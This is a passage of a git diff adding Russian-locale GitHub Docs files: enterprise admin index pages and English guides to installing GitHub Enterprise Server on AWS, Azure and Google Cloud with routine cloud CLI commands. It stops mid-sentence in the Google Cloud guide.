для корпоративных администраторов{% ifversion ghes %}, системных администраторов,{% endif %} и специалистов по безопасности, которые {% ifversion ghes %}развертывают, {% endif %}настраивают{% ifversion ghes %},{% endif %} и управляют {% data variables.product.product_name %}.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise + - /github/installing-and-configuring-github-insights/exploring-your-usage-of-github-enterprise + - /github/installing-and-configuring-github-insights/metrics-available-with-github-insights + - /github/installing-and-configuring-github-insights/key-metrics-for-collaboration-in-pull-requests + - /github/installing-and-configuring-github-insights/viewing-and-filtering-key-metrics-and-reports + - /github/installing-and-configuring-github-insights/github-insights-and-data-protection-for-your-organization + - /github/site-policy/github-insights-and-data-protection-for-your-organization + - /insights/installing-and-configuring-github-insights/configuring-the-connection-between-github-insights-and-github-enterprise + - /github/installing-and-configuring-github-insights/navigating-between-github-insights-and-github-enterprise + - /github/installing-and-configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise + - /insights/installing-and-configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise + - /insights/installing-and-configuring-github-insights/managing-permissions-in-github-insights + - /github/installing-and-configuring-github-insights/about-github-insights + - /insights/installing-and-configuring-github-insights/about-github-insights + - /github/installing-and-configuring-github-insights/installing-github-insights + - /insights/installing-and-configuring-github-insights/installing-github-insights + - /github/installing-and-configuring-github-insights/system-overview-for-github-insights + - /insights/installing-and-configuring-github-insights/system-overview-for-github-insights + - /github/installing-and-configuring-github-insights/updating-github-insights + - /insights/installing-and-configuring-github-insights/updating-github-insights + - /insights/installing-and-configuring-github-insights/about-data-in-github-insights + - /github/installing-and-configuring-github-insights/managing-data-in-github-insights + - /github/installing-and-configuring-github-insights/managing-settings-in-github-insights + - /insights/installing-and-configuring-github-insights/managing-available-metrics-and-reports + - /github/installing-and-configuring-github-insights/managing-contributors-and-teams + - /insights/installing-and-configuring-github-insights/managing-contributors-and-teams + - /github/installing-and-configuring-github-insights/creating-and-managing-events + - /insights/installing-and-configuring-github-insights/managing-events + - /github/installing-and-configuring-github-insights/creating-and-managing-goals + - /insights/installing-and-configuring-github-insights/managing-goals + - /github/installing-and-configuring-github-insights/managing-organizations + - /insights/installing-and-configuring-github-insights/managing-organizations + - /github/installing-and-configuring-github-insights/managing-repositories + - /insights/installing-and-configuring-github-insights/managing-repositories + - /insights/exploring-your-usage-of-github-enterprise + - /insights/exploring-your-usage-of-github-enterprise/metrics-available-with-github-insights + - /insights/exploring-your-usage-of-github-enterprise/navigating-between-github-enterprise-and-github-insights + - /insights/exploring-your-usage-of-github-enterprise/setting-your-timezone-for-github-insights + - /insights/exploring-your-usage-of-github-enterprise/viewing-key-metrics-and-reports + - /insights + - /insights/installing-and-configuring-github-insights/configuring-github-insights/configuring-the-connection-between-github-insights-and-github-enterprise + - /insights/installing-and-configuring-github-insights/configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise + - /insights/installing-and-configuring-github-insights/configuring-github-insights + - /insights/installing-and-configuring-github-insights/configuring-github-insights/managing-permissions-in-github-insights + - /insights/installing-and-configuring-github-insights + - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/about-github-insights + - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights + - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/installing-github-insights + - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/system-overview-for-github-insights + - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/updating-github-insights + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/about-data-in-github-insights + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-available-metrics-and-reports + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-contributors-and-teams + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-events + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-goals + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-organizations + - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-repositories + - /admin/configuration/configuring-your-enterprise/configuring-data-encryption-for-your-enterprise +introLinks: + overview: '{% ifversion ghes %}/admin/overview/about-github-enterprise-server{% elsif ghae %}/admin/overview/about-github-ae{% elsif ghec %}/admin/overview/about-enterprise-accounts{% endif %}' + Releases: '{% ifversion ghes %}/admin/all-releases{% endif %}' +changelog: + label: enterprise +featuredLinks: + guides: + - '{% ifversion ghae %}/admin/user-management/auditing-users-across-your-enterprise{% endif %}' + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies + - '{% ifversion ghae %}/admin/configuration/restricting-network-traffic-to-your-enterprise{% endif %}' + - '{% ifversion ghes %}/admin/configuration/configuring-backups-on-your-appliance{% endif %}' + - '{% ifversion ghes %}/admin/enterprise-management/creating-a-high-availability-replica{% endif %}' + - '{% ifversion ghes %}/admin/overview/about-upgrades-to-new-releases{% endif %}' + - '{% ifversion ghec %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}' + - '{% ifversion ghec %}/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise{% endif %}' + guideCards: + - '{% ifversion ghes > 2.22 %} /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server {% elsif ghes < 3.0 %} /admin/enterprise-management/upgrading-github-enterprise-server {% endif %}' + - '{% ifversion ghes > 2.22 %} /admin/packages/getting-started-with-github-packages-for-your-enterprise {% elsif ghes < 3.0 %} /admin/user-management/customizing-user-messages-for-your-enterprise {% endif %}' + - '{% ifversion ghes > 2.22 %} /admin/configuration/configuring-advanced-security-features {% elsif ghes < 3.0 %} /admin/installation/setting-up-a-staging-instance {% endif %}' + - '{% ifversion ghae %}/admin/configuration/initializing-github-ae{% endif %}' + - '{% ifversion ghae %}/admin/user-management/customizing-user-messages-for-your-enterprise{% endif %}' + - '{% ifversion ghae %}/admin/github-actions/getting-started-with-github-actions-for-github-ae{% endif %}' + - '{% ifversion ghec %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise{% endif %}' + - '{% ifversion ghec %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise{% endif %}' + - '{% ifversion ghec %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise{% endif %}' + popular: + - /admin/overview/about-github-enterprise-server + - '{% ifversion ghae %}/admin/release-notes{% endif %}' + - '{% ifversion ghes %}/github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-server{% endif %}' + - '{% ifversion ghes %}/admin/installation{% endif %}' + - '{% ifversion ghae %}/admin/identity-and-access-management/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad{% endif %}' + - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}' + - '{% ifversion ghae %}/admin/overview/about-upgrades-to-new-releases{% endif %}' + - '{% ifversion ghae %}/admin/configuration/configuring-your-enterprise/deploying-github-ae{% endif %}' + - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise{% endif %}' + - /admin/configuration/command-line-utilities + - '{% ifversion ghec %}/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise{% endif %}' + - '{% ifversion ghec %}/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise{% endif %}' + - '{% ifversion ghec %}/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks{% endif %}' + - /billing/managing-your-license-for-github-enterprise/using-visual-studio-subscription-with-github-enterprise/setting-up-visual-studio-subscription-with-github-enterprise + - /admin/enterprise-support/about-github-enterprise-support +layout: product-landing +versions: + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /overview + - /installation + - /configuration + - /identity-and-access-management + - /user-management + - /policies + - /monitoring-activity-in-your-enterprise + - /enterprise-management + - /github-actions + - /packages + - /code-security + - /guides + - /release-notes + - /all-releases +ms.openlocfilehash: 3980ad01e56bf1e38dd6473c5e5246c6d45350eb +ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/26/2022 +ms.locfileid: '148111311' +--- + diff --git a/translations/ru-RU/content/admin/installation/index.md b/translations/ru-RU/content/admin/installation/index.md new file mode 100644 index 000000000000..38d3c941a7cc --- /dev/null +++ b/translations/ru-RU/content/admin/installation/index.md @@ -0,0 +1,32 @@ +--- +title: 'Установка {% data variables.product.prodname_enterprise %}' +shortTitle: Installing +intro: 'Системные администраторы и специалисты по операциям и безопасности могут установить {% data variables.product.prodname_ghe_server %}.' +redirect_from: + - /enterprise/admin-guide + - /enterprise/admin/guides/installation + - /enterprise/admin/categories/customization + - /enterprise/admin/categories/general + - /enterprise/admin/categories/logging-and-monitoring + - /enterprise/admin/installation +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Set up +children: + - /setting-up-a-github-enterprise-server-instance +ms.openlocfilehash: 3c68586dada3fc76733611ad7a05d4119102736e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112600' +--- +Для получения дополнительных сведений или приобретения {% data variables.product.prodname_enterprise %} см. [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise). + +{% data reusables.enterprise_installation.request-a-trial %} + +При наличии вопросов о процессе установки см. раздел [Использование поддержки {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/enterprise-support/). diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md new file mode 100644 index 000000000000..905b08bdc89c --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md @@ -0,0 +1,30 @@ +--- +title: Настройка экземпляра GitHub Enterprise Server +intro: 'Вы можете установить {% data variables.product.prodname_ghe_server %} на выбранной поддерживаемой платформе виртуализации.' +redirect_from: + - /enterprise/admin/installation/getting-started-with-github-enterprise-server + - /enterprise/admin/guides/installation/supported-platforms + - /enterprise/admin/guides/installation/provisioning-and-installation + - /enterprise/admin/guides/installation/setting-up-a-github-enterprise-instance + - /enterprise/admin/installation/setting-up-a-github-enterprise-server-instance +versions: + ghes: '*' +topics: + - Enterprise +children: + - /installing-github-enterprise-server-on-aws + - /installing-github-enterprise-server-on-azure + - /installing-github-enterprise-server-on-google-cloud-platform + - /installing-github-enterprise-server-on-hyper-v + - /installing-github-enterprise-server-on-openstack-kvm + - /installing-github-enterprise-server-on-vmware + - /setting-up-a-staging-instance +shortTitle: Set up an instance +ms.openlocfilehash: 7c23ae31e8e976f2acc664f87fbff82ffe025a0e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108998' +--- + diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md new file mode 100644 index 000000000000..e45d5484e878 --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md @@ -0,0 +1,146 @@ +--- +title: Installing GitHub Enterprise Server on AWS +intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.' +redirect_from: + - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws + - /enterprise/admin/installation/installing-github-enterprise-server-on-aws + - /admin/installation/installing-github-enterprise-server-on-aws +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Infrastructure + - Set up +shortTitle: Install on AWS +--- +## Prerequisites + +- {% data reusables.enterprise_installation.software-license %} +- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/). +- Most actions needed to launch {% data variables.location.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)." + +{% note %} + +**Note:** At this time {% data variables.product.prodname_ghe_server %} does not support the use of the Amazon IDMSv2 Metadata API. + +{% endnote %} + +This guide assumes you are familiar with the following AWS concepts: + + - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) + - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) + - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance) + - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments) + - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud) + - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs) + +For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". + +This guide recommends the principle of least privilege when setting up {% data variables.location.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege). + +## Hardware considerations + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## Determining the instance type + +Before launching {% data variables.location.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." + +{% data reusables.enterprise_installation.warning-on-scaling %} + +{% data reusables.enterprise_installation.aws-instance-recommendation %} + +## Selecting the {% data variables.product.prodname_ghe_server %} AMI + +You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI. + +AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/). + +### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI + +{% data reusables.enterprise_installation.download-appliance %} +3. Under "{% data variables.product.prodname_dotcom %} in the Cloud", select the "Select your platform" dropdown menu, and click **Amazon Web Services**. +4. Select the "Select your AWS region" drop-down menu, and click your desired region. +5. Take note of the AMI ID that is displayed. + +### Using the AWS CLI to select an AMI + +1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation. + ```shell + aws ec2 describe-images \ + --owners OWNER_ID \ + --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \ + --output=text + ``` +2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image. + +## Creating a security group + +If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)." + +1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation. + ```shell + $ aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION" + ``` + +2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group. + +3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation. + ```shell + $ aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE + ``` + This table identifies what each port is used for. + + {% data reusables.enterprise_installation.necessary_ports %} + +## Creating the {% data variables.product.prodname_ghe_server %} instance + +To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)." + +{% note %} + +**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time. + For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html). + +{% endnote %} + +{% warning %} + +**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users. + +{% endwarning %} + +### Launching an EC2 instance + +In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation. + +```shell +aws ec2 run-instances \ + --security-group-ids SECURITY_GROUP_ID \ + --instance-type INSTANCE_TYPE \ + --image-id AMI_ID \ + --block-device-mappings '[{"DeviceName":"/dev/xvdf","Ebs":{"VolumeSize":SIZE,"VolumeType":"TYPE"}}]' \ + --region REGION \ + --ebs-optimized +``` + +### Allocating an Elastic IP and associating it with the instance + +If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation. + +Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." + +## Configuring the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} +{% data reusables.enterprise_installation.upload-a-license-file %} +{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." +{% data reusables.enterprise_installation.instance-will-restart-automatically %} +{% data reusables.enterprise_installation.visit-your-instance %} + +## Further reading + +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md new file mode 100644 index 000000000000..e520b46d1407 --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md @@ -0,0 +1,113 @@ +--- +title: Installing GitHub Enterprise Server on Azure +intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a memory-optimized instance that supports premium storage.' +redirect_from: + - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure + - /enterprise/admin/installation/installing-github-enterprise-server-on-azure + - /admin/installation/installing-github-enterprise-server-on-azure +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Infrastructure + - Set up +shortTitle: Install on Azure +--- +You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government. + +## Prerequisites + +- {% data reusables.enterprise_installation.software-license %} +- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com). +- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)." + +## Hardware considerations + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## Determining the virtual machine type + +Before launching {% data variables.location.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. For more information about memory optimized machines, see "[Memory optimized virtual machine sizes](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes-memory)" in the Microsoft Azure documentation. To review the minimum resource requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." + + +{% data reusables.enterprise_installation.warning-on-scaling %} + +{% data reusables.enterprise_installation.azure-instance-recommendation %} + +## Creating the {% data variables.product.prodname_ghe_server %} virtual machine + +{% data reusables.enterprise_installation.create-ghe-instance %} + +1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[`az vm image list`](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation. + ```shell + $ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V + ``` + +2. Create a new VM using the appliance image you found. For more information, see "[`az vm create`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation. + + Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation. + + ```shell + $ az vm create -n VM_NAME -g RESOURCE_GROUP --size VM_SIZE -l REGION --image APPLIANCE_IMAGE_NAME --storage-sku Premium_LRS + ``` + +3. Configure the security settings on your VM to open up required ports. For more information, see "[`az vm open-port`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open. + + ```shell + $ az vm open-port -n VM_NAME -g RESOURCE_GROUP --port PORT_NUMBER + ``` + + This table identifies what each port is used for. + + {% data reusables.enterprise_installation.necessary_ports %} + +4. Create and attach a new unencrypted data disk to the VM, and configure the size based on your user license count. For more information, see "[`az vm disk attach`](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation. + + Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `200`), and a name for the resulting VHD. + + ```shell + $ az vm disk attach --vm-name VM_NAME -g RESOURCE_GROUP --sku Premium_LRS --new -z SIZE_IN_GB --name ghe-data.vhd --caching ReadWrite + ``` + + {% note %} + + **Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 150 GiB with read/write cache enabled (`--caching ReadWrite`). + + {% endnote %} + +## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine + +1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[`az vm list`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation. + ```shell + $ az vm list -d -g RESOURCE_GROUP -o table + > Name ResourceGroup PowerState PublicIps Fqdns Location Zones + > ------ --------------- ------------ ------------ ------- ---------- ------- + > VM_NAME RESOURCE_GROUP VM running 40.76.79.202 eastus + + ``` + {% note %} + + **Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)." + + {% endnote %} + + {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} + {% data reusables.enterprise_installation.upload-a-license-file %} + {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." + {% data reusables.enterprise_installation.instance-will-restart-automatically %} + {% data reusables.enterprise_installation.visit-your-instance %} + +## Azure extension features + +{% data variables.product.product_name %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions. + +To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported. + +Because {% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see "[System overview](/admin/overview/system-overview)." + +## Further reading + +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md new file mode 100644 index 000000000000..b60a736ab4b9 --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md @@ -0,0 +1,101 @@ +--- +title: Installing GitHub Enterprise Server on Google Cloud Platform +intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.' +redirect_from: + - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform + - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform + - /admin/installation/installing-github-enterprise-server-on-google-cloud-platform +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Infrastructure + - Set up +shortTitle: Install on GCP +--- +## Prerequisites + +- {% data reusables.enterprise_installation.software-license %} +- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/). +- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation. + +## Hardware considerations + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## Determining the machine type + +Before launching {% data variables.location.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." + +{% data reusables.enterprise_installation.warning-on-scaling %} + +{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation. + +## Selecting the {% data variables.product.prodname_ghe_server %} image + +1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images: + ```shell + $ gcloud compute images list --project github-enterprise-public --no-standard-images + ``` + +2. Take note of the image name for the latest GCE image of {% data variables.product.prodname_ghe_server %}. + +## Configuring the firewall + +GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)." + +1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation. + ```shell + $ gcloud compute networks create NETWORK-NAME --subnet-mode auto + ``` +2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation. + ```shell + $ gcloud compute firewall-rules create RULE-NAME \ + --network NETWORK-NAME \ + --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp + ``` + This table identifies the required ports and what each port is used for. + + {% data reusables.enterprise_installation.necessary_ports %} + +## Allocating a static IP and assigning it to the VM + +If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP 